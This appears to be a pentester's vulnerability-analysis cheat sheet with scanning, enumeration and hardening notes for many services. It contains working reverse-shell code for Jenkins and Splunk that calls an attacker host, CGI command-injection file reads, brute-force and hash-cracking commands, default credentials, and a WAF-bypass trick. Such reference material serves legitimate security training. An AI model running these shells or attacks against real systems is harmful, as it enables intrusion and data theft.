4 - Vuln Analysis

0) Scanning

Host Discovery & ARP

See more about… Host Discovery & ARP

Source: Docs > 2 - Pre-Engagement > checklist#host-discovery--arp

Host Discovery & ARP

  • 1. Passive Listen (Responder / tcpdump) (Run Responder in passive mode or tcpdump to observe broadcast traffic, discover hosts, and passively collect credentials before any active scanning)
  • 2. Interface & Subnet Mapping (Identify your own IP and CIDR via ip a or ipconfig to define the scope)
  • 3. Passive Neighbor Discovery (Check the local ARP cache via arp -a or ip neigh to see connected peers)
  • 4. Active Host Discovery (Run nmap -sn <CIDR> or netdiscover to sweep the subnet via ARP/ICMP)
  • 5. Role Identification (Scan live hosts for specific ports like 88/445/389 to distinguish DCs from workstations)
# -p: source port
# TCP
nc -nvzw5 <TARGET> <PORT>
# UDP
nc -unvzw5 <TARGET> <PORT>

# Connect to Encrypted Service (TLS/SSL)
openssl s_client -starttls ftp -connect <TARGET>:<PORT>

# Banner Grabbing
sudo nmap -n -Pn --script banner.nse <TARGET>

Ping Sweeps

NOTE: sometimes ARP caches are delayed or not built… so running a ping sweep 2x is helpful

# NIX
for i in {1..254} ; do (ping -c1 <TARGET_SUBNET>.$i | grep "bytes from" &) ; done

#  WIN: DOS
# !!! LEAVE OFF LAST OCTET !!!
for /L %i in (1 1 254) do ping <TARGET_SUBNET>.%i -n 1 -w 100 | find "Reply"
# Win: PowerShell
# !!! LEAVE OFF LAST OCTET !!!
1..254 | % { $ip="<TARGET_SUBNET>.$_"; if ((New-Object System.Net.NetworkInformation.Ping).Send($ip, 100).Status -eq "Success") { "$($ip): True" } }

# Metasploit
run post/multi/gather/ping_sweep RHOSTS=<TARGET_SUBNET>
See more about… Nmap

Source: Docs > 9 - Notes > nmap

Scanning

  • Open - received TCP SYN-ACK
  • Closed - received TCP RST
  • Filtered - no response
  • Unfiltered - (with -sA TCP ACK scans) can’t determine the state, but the port is accessible
  • Open/Filtered - can’t tell if the port is open or blocked by a firewall
  • Closed/Filtered - (with -sI IP ID idle scan) can’t tell if the port is closed or blocked by a firewall
# Host Discovery
sudo nmap --open -oA host_discovery_simple.txt -iL scope.txt 

# NOTE: this is optimized for labs:
# -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1
sudo nmap -n -sn -v --stats-every 30s -PS445,80,443,3389,135,5985,22,8080,111 -oA host_discovery.txt -iL scope.txt -T4 --max-rtt-timeout 150ms --min-parallelism 100 --min-rate 1000 --max-retries 1

---

awk '/Up$/{print $2}' host_discovery.txt > live_hosts.txt

For “ghost hosts” consider: -PU137,138,161,53,67,123,500,4500 to scan UDP (though very slow)

# All ports (TCP Full Scan)
rustscan -a live_hosts.txt --ulimit 5000 -- -sC -sV -v --stats-every 30s -oA nmap_rustscan_all_ports

# Massive network (SYN Half Scan)
sudo masscan --rate 1000 -p1-65535 -iL live_hosts.txt -oL masscan.txt -e <INTERFACE> 
PORTS=$(awk '/open/ {print $3}' masscan.txt | sort -u | paste -sd, -)
sudo nmap --stats-every 30s -sS -sV -sC -v -p$PORTS -oA nmap_masscan_all_ports <TARGET>
# UDP
sudo nmap -sU -sV --top-ports 100 -v -oA nmap_top100_udp <TARGET>
# Find Live Hosts
sudo nmap -n -sn --reason -oA host_disc <TARGET>
# Create list
grep 'Status: Up' host_disc.gnmap | awk '{print $2}' | tee live_hosts.txt
# Scan normally w/ list
sudo nmap -n -Pn -sS -sV -sC --reason --top-ports=1000 -oA host_disc_live -iL live_hosts.txt
# Trace packet (MORE INFO)
sudo nmap -n -Pn -sS --packet-trace --disable-arp-ping -p <PORT> <TARGET>

# TCP Full-Connect (3-way handshake)
sudo nmap -n -Pn -sT -sV -sC --reason <TARGET>

# UDP (normally no response)
sudo nmap -n -Pn -sU -sV -sC --reason --top-ports=100 <TARGET>

# Create HTML reports from nmap XML scan
# https://nmap.org/book/output.html
xsltproc <SCAN_FILE>.xml -o <OUTPUT>.html

# SPAM: scan using multiple IP addresses
sudo nmap -n -Pn --max-retries=1 --source-port <SRC_PORT> -D RND:5 <TARGET>

# --max-retries <ATTEMPTS>
# -T <AGGRESSION_1_5>
# --packet-trace
# --reason
# --disable-arp-ping
# --top-ports=<NUM>
# --script <SCRIPT>
# -g <SRC_PORT>
# --dns-server <NAMESERVER>

Static nmap

A static nmap will not be able to perform -sC/--script nor -sV and there might be some issues with -O OS detection.

-sT, -sS (root), and -sV should be fine

wget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap

scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nmap <USER>@<TARGET>:/tmp/

chmod +x nmap
./nmap -n -Pn -sT --stats-every 15s -vvv <TARGET_SUBNET>

Nmap Scripting Engine (NSE)

The Nmap Scripting Engine (NSE) extends Nmap’s functionality with custom scripts for vulnerability detection, service enumeration, and exploitation.

Reference: NSE Usage Guide

How to Use NSE

Basic Usage:

  • -sC - Run a set of popular, common scripts
  • --script - Run specific scripts by name, category, or file path
  • --script-help - Show arguments for --script-args

Advanced Usage:

  • Combine scripts with wildcards: --script "smb-*,http-*"
  • Use comprehensive documentation: NSE Script Database
  • Search for scripts: grep "ftp" /usr/share/nmap/scripts/script.db
# --script-trace : trace script scans
nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' -oA nmap_http_put <TARGET>
Script Categories

Location: /usr/share/nmap/scripts

CategoryDescription
authScripts related to authentication, such as bypassing credentials or checking for default ones.
broadcastUsed to discover hosts on the local network by broadcasting requests.
bruteScripts that perform brute-force attacks to guess passwords or credentials.
defaultThe core set of scripts that are run automatically with -sC or -A.
discoveryActively gathers more information about a network, often using public registries or protocols like SNMP.
dosTests for vulnerabilities that could lead to a denial-of-service attack.
exploitActively attempts to exploit known vulnerabilities on a target system.
externalInteracts with external services or databases.
fuzzerSends unexpected or randomized data to a service to find bugs or vulnerabilities.
intrusiveThese scripts can be noisy, resource-intensive, or potentially crash the target system.
malwareScans for known malware or backdoors on a target host.
safeScripts that are considered safe to run as they are not designed to crash services, use excessive resources, or exploit vulnerabilities.
versionExtends the functionality of Nmap’s version detection feature.
vulnChecks a target for specific, known vulnerabilities.

Install New NSE Script

sudo wget --output-file /usr/share/nmap/scripts/<SCRIPT>.nse \
    https://svn.nmap.org/nmap/scripts/<SCRIPT>.nse

nmap --script-updatedb

Common Web Applications

The following sections will detail how to enumerate various web appliations, which could lead to exploitation and access.

EyeWitness

For quick web application discovery.

# https://github.com/RedSiege/EyeWitness
git clone https://github.com/RedSiege/EyeWitness.git && cd EyeWitness/setup

# cmake is already a part of build-essential
sed -i 's/cmake//gI' ./setup.sh
sudo ./setup.sh
cd ..
source eyewitness-venv/bin/activate

# SCAN using nmap XML results output
mkdir ../scan_eyewitness
python Python/EyeWitness.py --web -x ../scan_nmap_disc_all_ports.xml -d ../scan_eyewitness

Wordpress

WPScan is great, but manual enumeration can also uncover more information sometimes (e.g. certain plugins)

/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/

Sitemap: https://inlanefreight.local/wp-sitemap.xml

Folders

  • /wp-admin
  • /wp-content
    • plugins: often a source of vulnerabilities
    • themes: same
    • scanning for readme.txt under these folders can find hidden resources
  • wp-login.php

Users

  • Administrator: can add and delete users and posts, as well as editing source code
    • leads to RCE!
  • Editor: can publish and manage all posts
  • Author: can publish and manage their own posts
  • Contributor: can write and manage their own posts but not publish
  • Subscriber: can browse posts and edit their profiles

Page Source

curl -so- '<TARGET>/robots.txt'
curl -s <TARGET> | grep -i -e WordPress -e themes -e plugins

WPScan

# Generic enumeration
sudo wpscan -t 20 --api-token <API_TOKEN> --url <TARGET> --enumerate

# Enumerate all plugins
sudo wpscan -t 20 --api-token <API_TOKEN> --url <TARGET> --enumerate ap

# Login brute-force
sudo wpscan -t 20 --url <TARGET> --password-attack xmlrpc -U <USER> -P /usr/share/wordlists/rockyou.txt

Joomla

/robots.txt

...
User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

Page Source

curl -s <TARGET>/README.txt
curl -s <TARGET>/administrator/manifests/files/joomla.xml | xmllint --format -
curl -s <TARGET> | grep -i Joomla

Scanning

pip3 install droopescan 

droopescan scan joomla --url <TARGET>

Drupal

Users:

  • Administrator: has complete control over the Drupal website.
  • Authenticated User: can log in to the website and perform operations such as adding and editing articles based on their permissions.
  • Anonymous: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.

Page Source

curl -s <TARGET> | grep -i Drupal

# Version (older Drupals only)
curl -s <TARGET> | grep -m2 ""

Scanning

pip3 install droopescan

droopescan scan drupal --url <TARGET>

Tomcat

  • webapps/conf/tomcat-users.xml: users and creds for management web server manager
  • webapps/manager/WEB-INF/web.xml: deployment descriptor of the server page routes and classes
  • webapps/manager/WEB-INF/classes/: contains specific logic and probably sensitive information

Apache Jserv and Tomcat

sudo nmap -sV -p 8009,8080 <TARGET>

Page Source

curl -s <TARGET>/invalid | grep Tomcat 
curl -s <TARGET>/docs/ | grep Tomcat 

Find Web Manager Pages /manager or host-manager

feroxbuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u <TARGET>

Brute-Force Web Manager

msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts <TARGET>
set VHOST <FQDN>
set RPORT <PORT>
set stop_on_success true
run

Jenkins

Attach Slave Servers and Tomcat

sudo nmap -sV -p 5000,8080 <TARGET>

Script Console

Linux

# Execute System Command
def cmd = '<COMMAND>'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
nc -lvnp <PORT>

# Reverse Shell Callback
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ATTACKER_IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Windows

nc -lvnp <PORT>

# Reverse Shell Callback
String host="<ATTACKER_IP>";
int port=<PORT>;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Splunk

Weak or null authentication are the most likely vectors

Splunk WebApp

sudo nmap -sV -p 8000,8089 <TARGET>

Uploading Callback Shell

<TARGET>/en-US/app/launcher/home

# Splunk Reverse Shell
git clone https://github.com/0xjpuff/reverse_shell_splunk.git
cd reverse_shell_splunk/reverse_shell_splunk/

# !!! UPDATE !!!
# Change 'attacker_ip_here' and attacker_port_here in the respective script(s)

cd ..
tar -cvzf updater.tar.gz reverse_shell_splunk/

nc -lvnp 8443

# NOTE: uploading the app, causes it run immediately; ensure `nc` is running
# From <TARGET>/en-US/manager/search/apps/local > Install app from file

PRTG Network Monitor

PRTG WebApp

sudo nmap -sV -p 80,443,8080 <TARGET>
curl -s <TARGET> | grep -i Version

osTicket

For some public facing services, one can acquire a valid, internal email by submitting a ticket, though this might require email activation.

Gitlab

CGI

  • Check in:
    • cgi
    • cgi-bin
# Overall (though a bit blunt)
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/LEGACY-SERVICES/CGIs/CGIs.txt -u 'http://<TARGET>/'

# Windows
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "bat,cmd,exe,vbs,cgi" -u 'http://<TARGET>/cgi/'
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "bat,cmd,exe,vbs,cgi" -u 'http://<TARGET>/cgi-bin/'

# Linux
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "sh,cgi,pl,py" -u "http://<TARGET>/cgi/"
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "sh,cgi,pl,py" -u "http://<TARGET>/cgi-bin/"

NOTE: any command injection might require URL-encoding of the commands though this can be avoided with curl’s option --data-urlencode

# CONFIRM
curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& dir'
curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& C:\windows\system32\ipconfig.exe'

# File reads ("TACOMAN" is stripped out therefore arbitrary)
curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& C:\Windows\System32\find.exe /V "TACOMAN" <FILE>'

Remember certain commands like type or dir are internal DOS commands and do not exist as a .exe file.

ColdFusion

  • on TCP/8500 has the following directories:
    • CFIDE
    • cfdocs

CF Stack

# Mail, HTTP, HTTPS, RPC, Server Monitor, SSL
sudo nmap -sV -p 25,80,443,1935,5500,8500 <TARGET>

IIS

# HTTP, HTTPS, MSSQL, WinRM, WinRM Secure, Alt Port, Alt Port, Web Deploy
sudo nmap -sV -p 80,443,1433,5985,5986,8000,8080,8172 <TARGET>

LDAP

sudo nmap -sV -p 389,636 <TARGET>

Harderning

ApplicationHardening CategoryDiscussion
WordPressSecurity monitoringUse a security plugin such as WordFence which includes security monitoring, blocking of suspicious activity, country blocking, two-factor authentication, and more
JoomlaAccess controlsA plugin such as AdminExile can be used to require a secret key to log in to the Joomla admin page such as http://joomla.inlanefreight.local/administrator?thisismysecretkey
DrupalAccess controlsDisable, hide, or move the admin login page
TomcatAccess controlsLimit access to the Tomcat Manager and Host-Manager applications to only localhost. If these must be exposed externally, enforce IP whitelisting and set a very strong password and non-standard username.
JenkinsAccess controlsConfigure permissions using the Matrix Authorization Strategy plugin
SplunkRegular updatesMake sure to change the default password and ensure that Splunk is properly licensed to enforce authentication
PRTG Network MonitorSecure authenticationMake sure to stay up-to-date and change the default PRTG password
osTicketAccess controlsLimit access from the internet if possible
GitLabSecure authenticationEnforce sign-up restrictions such as requiring admin approval for new sign-ups, configuring allowed and denied domains

DNS

See more about… DNS

Source: Docs > 2 - Pre-Engagement > checklist#dns

DNS

  • 1. Server Recon & Zone Transfer (Identify Nameservers, Bind version, and attempt dig axfr or dig any for a full dump)
  • 2. Record Enumeration (Query standard types A, MX, TXT, SRV, and run Reverse DNS/PTR against IP ranges)
  • 3. Subdomain Discovery (Combine passive cert transparency logs via crt.sh with active bruteforcing via gobuster/puredns)
  • 4. Vulnerability Analysis (Check for dangling CNAMEs for Domain Takeover, and monitor LLMNR/NBT-NS if internal)
Dangerous Settings
OptionDescription
allow-queryDefines which hosts are allowed to send requests to the DNS server.
allow-recursionDefines which hosts are allowed to send recursive requests to the DNS server.
allow-transferDefines which hosts are allowed to receive zone transfers from the DNS server.
zone-statisticsCollects statistical data of zones.
# Add subdomains or vHosts
echo '<IP_ADDR> <DOMAIN>' | sudo tee -a /etc/hosts
# Registrar Info
whois <DOMAIN> | whois.txt

# Query Nameserver for domain
dig @<DNS_SERVER> ns <DOMAIN>

# PTR Record or Reverse DNS Query
dig @<DNS_SERVER> -x <IP_ADDRESS>

# OLD: version / all records / zone transfer
dig @<DNS_SERVER> CH TXT version.bind <DOMAIN>
dig @<DNS_SERVER> ANY <DOMAIN>
dig @<DNS_SERVER> AXFR <DOMAIN>

# --- Record Types ---
# ANY: return all records -- sometimes doesnt work!
# A: IPv4 address
# AAAA: IPv6 address
# CNAME: Canonical Name
# MX: Mail Servers
# NS: Name Servers
# PTR: Pointer Record
# SOA: Start of Authority
# TXT: Text Records
# SRV: Service Records
# CAA: Certification Authority Authorization
for type in A AAAA CNAME MX NS SOA SRV TXT CAA; do echo -e "\n--- $type ---"; dig @<DNS_SERVER> +short $type <DOMAIN>; done

# PASSIVE: subdomain enum
# NOTE: requires API keys
subfinder -v -d <DOMAIN>

# ACTIVE: subdomain enum (quick, external)
puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt <DOMAIN>

# ACTIVE: subdomain enum (slower, internal)
# /usr/share/SecLists/Discovery/DNS/namelist.txt
gobuster dns --threads 64 --output gobuster_dns_top110000 --quiet -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --resolver <DNS_SERVER> --domain <DOMAIN>

🌐 Subdomains

# Domain => Subdomains via Cert Registry
curl -s "https://crt.sh/?q=<DOMAIN>&output=json" | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u | tee subdomainlist.txt
# Full Info 
for i in $(cat subdomainlist.txt) ; do host $i | tee -a hostinfo.txt ; done
# (IPv4) Domain Name => IP Address
for i in $(cat subdomainlist.txt) ; do host $i | grep "has address" | cut -d" " -f1,4 | tee -a domain_ipaddress.txt ; done
# (IPv4) Addresses Only
for i in $(cat domain_ipaddress.txt) ; do host $i | grep "has address" | cut -d" " -f4 | tee -a ip-addresses.txt ; done
# (IPv4) Addresses => Services via Shodan
for i in $(cat ip-addresses.txt) ; do shodan host $i ; done

# DNS: old technique
dig any <DOMAIN>

# Content Search: google.com Dork
inurl:<DOMAIN> intext:<TERM>

LLMNR & NBT-NS

  • UDP 5355: LLMNR (modern)
  • UDP 137: NBT-NS (ancient)

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that used as failover protocols when DNS is unavailable.

On a Windows, the box will attempt to resolve a hostname in this order:

  1. Checks Local HOSTS file.
  2. Checks DNS Cache / DNS Server.
  3. (If DNS Fails): Sends LLMNR Multicast.
  4. (If LLMNR Fails): Sends NBT-NS Broadcast.

Remediation

Typically, disabling LLMNR and NBT-NS can cautiously used (to ensure no breakages) at the network or host-level.

  • Disable LLMNR by:

    • Group Policy –>
    • Computer Configuration –>
    • Administrative Templates –>
    • Network –>
    • DNS Client
    • Enable “Turn OFF Multicast Name Resolution”
  • Disable NBT-NS (locally only on each host or via GPO w/ PowerShell):

    • Network and Sharing Center –>
    • Control Panel –>
    • Change adapter settings
    • Right-clicking on the adapter –> properties –>
    • Selecting Internet Protocol Version 4 (TCP/IPv4) –> Properties –> Advanced –> selecting the WINS tab
    • Select “Disable NetBIOS over TCP/IP”

FTP

**TFTP has no auth and uses only UDP.

Dangerous Settings
SettingDescription
anonymous_enable=YESAllowing anonymous login?
anon_upload_enable=YESAllowing anonymous to upload files?
anon_mkdir_write_enable=YESAllowing anonymous to create new directories?
no_anon_password=YESDo not ask anonymous for password?
anon_root=/home/username/ftpDirectory for anonymous.
write_enable=YESAllow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE?
# Connect to FTP server in passive mode with anonymous login
ftp -p ftp://<USER>:<PASS>@<TARGET>
passive

# lftp equivalents
lftp ftp://<USER>:<PASS>@<TARGET>
set ftp:passive-mode off

# Execute local commands (outside of session)
!<COMMAND>

# List files and directories
ls -la
ls -laR

# Read file
get <FILENAME> -
# Download file
get <FILENAME>
# Upload file
put <FILENAME>
# Download all files
mirror .

# Download ALL files
mkdir ftp_files && cd ftp_files
wget -m --no-passive-ftp ftp://anonymous:anonymous@<TARGET>

HTTP

  • TCP 80: HTTP unencrypted
  • TCP 443: HTTPS encrypted
  • PORT (Web is oftentimes on other ports, especially internal proxies or admin pages on 8080 or 8433)
See more about… Web

Source: Docs > 2 - Pre-Engagement > checklist#web

Web

  • 1. Technology & Security Fingerprinting (Use whatweb and nikto to identify the server, frameworks, and WAF, and curl to inspect headers and robots.txt)
  • 2. Content & vHost Discovery (Run feroxbuster or gobuster dir to bruteforce directories/files, and gobuster vhost to find hidden virtual hosts)
  • 3. Automated Vulnerability Scanning (Use nikto or wapiti to scan for common misconfigurations and known vulnerabilities like outdated software)
  • 4. Manual Application Testing (OWASP Top 10) (After automated scans, manually inspect the application for logical flaws, focusing on Injection, Broken Access Control, and XSS)
# HTTP Headers + robots.txt
curl -skLI -o curl_http_headers.txt http://<TARGET>
curl -skL -o curl_robots.txt http://<TARGET>/robots.txt

---

# Checks for WAF (wbapp firewall)
wafw00f <TARGET>

# Enum web server + version + OS + frameworks + libraries
whatweb --aggression 3 http://<TARGET> --log-brief=whatweb_scan.txt

# Fingerprint web server
nikto -o nikto_fingerprint_scan.txt -Tuning b -h http://<TARGET>

# Enum web server vulns
nikto -o nikto_vuln_scan.txt -h http://<TARGET>

# Enum web app logic & vulns
wapiti -f txt -o wapiti_scan.txt --url http://<TARGET>

# Webpage Crawler
pip3 install --break-system-packages scrapy
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip && unzip ReconSpider.zip
python3 ReconSpider.py <URL> && cat results.json
# !!! CHECK "results.json" !!!
See more about… vHost Brute-Force

Source: Docs > 9 - Notes > ffuf#vhost-brute-force

vHost Brute-Force

Just changes HTTP header

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -H 'Host: FUZZ.<DOMAIN>' -u http://<TARGET>/ -fs <SIZE>
# Add NEW vHosts to automatically resolve them later
echo '<IP_ADDR> <VHOST>.<FQDN>' | sudo tee -a /etc/hosts

Directory Brute-Forcing

# OTHER LARGER DIR LIST
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Directory Bruteforce
feroxbuster -t 64 -w /usr/share/seclists/Discovery/Web-Content/common.txt --depth 2 -o feroxbuster_dir_common --scan-dir-listings -u http://<TARGET>

# Bruteforce File Extensions (-x)
feroxbuster -t 64 -w /usr/share/seclists/Discovery/Web-Content/common.txt --depth 2 -o feroxbuster_dir_extensions --scan-dir-listings -x php,html,txt,bak,zip -u http://<TARGET>

---

# AUTOMATED Recon
git clone https://github.com/thewhiteh4t/FinalRecon.git
cd FinalRecon
chmod +x ./finalrecon.py
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
./finalrecon.py -nb -r -cd final_recon_scan -w /usr/share/wordlists/dirb/common.txt --headers --crawl --ps --dns --sub --dir --url http://<URL>

TODO: cull down AI slop below

URL Encoding

# 1. Curl Auto-Encoding (GET Requests)
# -G converts --data into a GET query string. --data-urlencode handles the special chars.
curl -G -i "http://<TARGET>/cgi/welcome.bat" --data-urlencode "cmd=C:\windows\system32\whoami.exe & id"

# 2. Python One-Liner (For generating payloads for Burp/Browser)
python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" 'cat /etc/passwd & id'

# 3. The "Slicker Way" (Add this to your ~/.zshrc or ~/.bashrc)
alias urlencode='python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))"'
# Usage: urlencode "payload&goes=here"

URL Encoding (Percent-Encoding) is not an obfuscation technique; it is a mechanical requirement of the HTTP protocol. You must encode characters to stop the Web Server from confusing your Payload Data with HTTP Syntax.

CharacterHTTP Syntax MeaningWhy it breaks exploits if unencoded
&Parameter SeparatorServer splits your payload. ?cmd=id & whoami becomes Param 1: cmd=id, Param 2: whoami.
#URL FragmentBrowser stops sending data after #. The backend never sees it.
+ / SpaceRaw spaces break the HTTP header structure (GET /page HTTP/1.1).
?Query String StartTruncates or confuses path traversal payloads.

The CGI / Command Injection Rule: When exploiting CGI scripts (.sh, .bat, .cgi), the web server unwraps the URL and hands the raw string directly to the OS shell (/bin/bash or cmd.exe). If you do not URL-encode your shell operators (&, |, ;), the web server strips them out during the HTTP parsing phase, and the OS shell never executes them.

  • Double Encoding (WAF Bypass): If a WAF blocks %5C (\), encode the % symbol itself (% = %25). The payload becomes %255C. The WAF sees %255C (Allowed), passes it to the backend, which decodes it once to %5C, and the application decodes it again to \.
  • Space Variants:
    • In the URL Path (GET /path%20here), use %20.
    • In the Query String / Body (?cmd=id+whoami), + is historically interpreted as a space (application/x-www-form-urlencoded), but %20 is universally safer to avoid parsing desyncs. Default to %20.

IMAP/POP3

  • TCP 143/993: IMAP unc/enc
  • TCP 110/995: POP3 unc/enc
Dangerous Settings
SettingDescription
auth_debugEnables all authentication debug logging.
auth_debug_passwordsThis setting adjusts log verbosity, the submitted passwords, and the scheme gets logged.
auth_verboseLogs unsuccessful authentication attempts and their reasons.
auth_verbose_passwordsPasswords used for authentication are logged and can also be truncated.
auth_anonymous_usernameThis specifies the username to be used when logging in with the ANONYMOUS SASL mechanism.
# Enumerate
sudo nmap -n -Pn -sV -sC -p25,110,143,465,587,993,995 <TARGET>

### Non-Interactive

# IMAPS
curl -vkL --user '<USER>':'<PASSWORD>' 'imaps://<TARGET>' -X <COMMAND>

# POP3S
curl -vkL --user '<USER>':'<PASSWORD>' 'pop3s://<TARGET>' -X <COMMAND>

### Interactive

# IMAPS
openssl s_client -connect <TARGET>:imaps
1 LOGIN <USERNAME> <PASSWORD>
1 LIST "" *	# Lists all directories
1 SELECT "<MAILBOX>" # Selects a mailbox
1 UNSELECT "<MAILBOX>" # Exits the selected mailbox
1 FETCH <ID> all # Metadata of email
1 FETCH 1:* (BODY[]) # Show all emails
1 CREATE "INBOX" # Creates a mailbox with a specified name
1 DELETE "INBOX" # Deletes a mailbox
1 RENAME "ToRead" "Important" #	Renames a mailbox
1 LSUB "" *	# Returns a subset of names from the set of names that the User has declared as being active or subscribed
1 CLOSE	# Removes all messages with the Deleted flag set
1 LOGOUT # Closes the connection

# POP3s
openssl s_client -connect <TARGET>:pop3s
USER <USERNAME>
PASS <PASSWORD>
STAT	# List num of saved emails from the server.
LIST	# List number and size of all emails.
RETR <ID>	# Deliver the requested email by ID.
DELE <ID> # Delete the requested email by ID.
CAPA	# Display the server capabilities.
RSET	# Reset the transmitted information.
QUIT	# Close connection

IPMI

  • UDP 623: normal
  • Default Passwords:
    • Dell iDRAC: root:calvin
    • HP iLO: Administrator:[randomized 8-character string consisting of numbers and uppercase letters]
    • Supermicro IPMI: ADMIN:ADMIN

A hardware control protocol that gives “virtual” physical access to a machine.

Dangerous Settings
  • Server sends the salted hash of the user’s password to the user before authentication
### Enumeration via nmap
sudo nmap -sU -p623 --script ipmi-version

### Metasploit Scanner
setg RHOSTS <TARGET>
# https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_version/
use auxiliary/scanner/ipmi/ipmi_version
run
# https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_dumphashes/
use auxiliary/scanner/ipmi/ipmi_dumphashes
run

### Crack HP iLO format
# https://hashcat.net/wiki/doku.php?id=example_hashes
hashcat -m 7300 ipmi_hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
hashcat -m 7300 -w 3 -O "<HASH>" /usr/share/wordlists/rockyou.txt

MySQL

Database > Schema > Table > Column > Value

Dangerous Settings
SettingsDescription
userSets which user the MySQL service will run as.
passwordSets the password for the MySQL user.
admin_addressThe IP address on which to listen for TCP/IP connections on the administrative network interface.
debugThis variable indicates the current debugging settings
sql_warningsThis variable controls whether single-row INSERT statements produce an information string if warnings occur.
secure_file_privThis variable is used to limit the effect of data import and export operations.
# Login
# - try "root"
mysql -u <USER> -h <TARGET>
mysql -u <USER> --password=<PASSWORD> -P <PORT> -h <TARGET>

sqlmap’s query data has a lot of good example commands for enumeration:

-- Show Version
SELECT @@version ;
SELECT version() ;

-- Show User
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

SHOW databases ;
SHOW grants ;

-- Show if user is privileged
SELECT super_priv FROM mysql.user
SELECT super_priv FROM mysql.user WHERE user="root"

-- Show user permissions
SELECT grantee,privilege_type FROM information_schema.user_privileges
SELECT grantee,privilege_type FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"
-- look for interesting perms like "FILE" to read/write files

-- Tables and metadata
USE sys ;
SELECT host,unique_users FROM sys.host_summary ;

USE <DATABASE> ;
SHOW tables ;
DESCRIBE <TABLE> ;

-- Write data
INSERT INTO <TABLE> VALUES (<COL1_VAL>, <COL2_VAL>, <COL3_VAL>, ...);

-- Get data
SELECT * FROM <TABLE> WHERE <COLUMN> = "<VALUE>" ;
# WHERE x LIKE "%blah%" ;
SELECT * FROM <TABLE> WHERE <COLUMN> LIKE "%<VALUE>%" ORDER BY <COLUMN> ASC|DESC LIMIT <NUM> ;

-- Example COUNT
SELECT COUNT(*) FROM <TABLE> WHERE <COLUMN1> > 10000 OR <COLUMN2> NOT LIKE '%<KEYWORD>%' ;

Enumeration

MySQL

These commands are specific though not necessarily exclusive to MySQL

PayloadWhen to UseExpected OutputWrong Output
SELECT @@versionWhen we have full query outputMySQL Version ‘i.e. 10.3.22-MariaDB-1ubuntu1In MSSQL it returns MSSQL version. Error with other DBMS.
SELECT POW(1,1)When we only have numeric output1Error with other DBMS
SELECT SLEEP(5)Blind/No OutputDelays page response for 5 seconds and returns 0.Will not delay response with other DBMS
# Show currently used database (if inside a query)
SHOW database()

USE information_schema ;  # metadata

# Get database names
SELECT schema_name FROM information_schema.schemata ;

# Show tables
SELECT table_name,table_schema FROM information_schema.tables where table_schema='<DATABASE>' ;

# Get columns
select COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='<TABLE>' ;

# Finally read values
SELECT <COLUMN> FROM <DATABASE>.<TABLE> ;

Read Files

-- Read Files
SELECT LOAD_FILE("/etc/passwd") ;

Write Files

  1. User with FILE privilege enabled
  2. MySQL global secure_file_priv variable not enabled
  3. Write access to the location we want to write to on the back-end server
-- Write Files
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
-- For 4 columns
